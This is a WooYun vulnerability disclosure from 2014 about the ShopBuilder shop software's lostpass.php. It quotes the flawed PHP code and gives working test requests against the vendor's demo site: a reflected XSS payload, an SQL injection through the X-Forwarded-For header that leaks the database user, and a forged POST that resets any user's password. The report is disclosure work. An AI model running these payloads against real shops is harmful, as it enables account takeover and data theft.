当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-071087

漏洞标题:ShopBuilder商城云版、外贸版等几个漏洞【官网demo成功】

相关厂商:ShopBuilder商城

漏洞作者: magerx

提交时间:2014-08-05 17:52

修复时间:2014-11-03 17:54

公开时间:2014-11-03 17:54

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-05: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-11-03: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

rt.

详细说明:

厂商:
shopbuilder:www.shop-builder.cn
案例好像还挺多

QQ20140805-1.png


漏洞文件lostpass.php,39行

if(!empty($_POST["action"])&&$_POST["action"]=="submit")
{
$info=explode("|",$_POST["userid"]);
$sql="select * from ".MEMBER." where userid='$info[0]'";
$db->query($sql);
$re=$db->fetchRow();
if($re["userid"])
{
$md5=md5(time().rand(0,100));
$md5='lock'.substr($md5,5,strlen($md5));
$db->query("update ".MEMBER." SET password='$md5' where userid='$info[0]'");

$mail_temp=get_mail_template('find_pwd');
$con=$mail_temp['message'];
$url=$config['weburl']."/lostpass.php?md5=$md5&userid=$re[userid]";
$url="<a target='_blank' href='".$url."'>".$url."</a>";

$ar1=array('[sitename]','[username]','[findurl]','[contact]');
$ar2=array($config['company'],$re['user'],$url,$re['name']);
$con=str_replace($ar1,$ar2,$con);
send_mail($info[1],$re["user"],$config['company']." PASSWORD",$con);
$tpl->assign("email",$info[1]);
}


这个地方存在反射xss,测试方法

post: http://democn.shop-builder.cn/lostpass.php
action=xx&action=submit&userid=23|23289**391@qq.com%c0'<iframe/onload=alert(1)>


还存在sql注入,测试方法:

POST /lostpass.php HTTP/1.1
Host: democn.shop-builder.cn
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=afb08a195a17072dfae5fdd352f75725
X-Forwarded-For: 8.8.8.8',UpdateXML(1,CONCAT(0x5b,mid((SELECT user()),1,32),0x5d),1),'','')#
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
userid=23|23289**391@qq.com&action=submit


返回内容:

insert into shopbuilder_page_view
(url,ip,time,username,fileName)
values
('%2Flostpass.php','8.8.8.8',UpdateXML(1,CONCAT(0x5b,mid((SELECT user()),1,32),0x5d),1),'','')#','2014-08-05 17:48:48','','/lostpass.php')XPATH syntax error: '[root@localhost]'


X-Forwarded-For存在sql注入,获取了用户名
程序员的逻辑真是越来越看不懂了,只要post的action,submit不为空,就可以将指定userid的重置密码连接以邮件形式发送到指定邮箱,导致任意用户密码重置
下面用他的demo测试下

漏洞证明:

http://democn.shop-builder.cn/lostpass.php


post:

action=xx&action=submit&userid=23|23289**391@qq.com


这里只要修改userid就可以重置任意用户的密码了,重置连接会发送到23289**391@qq.com

QQ20140805-3.png


修复方案:

版权声明:转载请注明来源 magerx@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝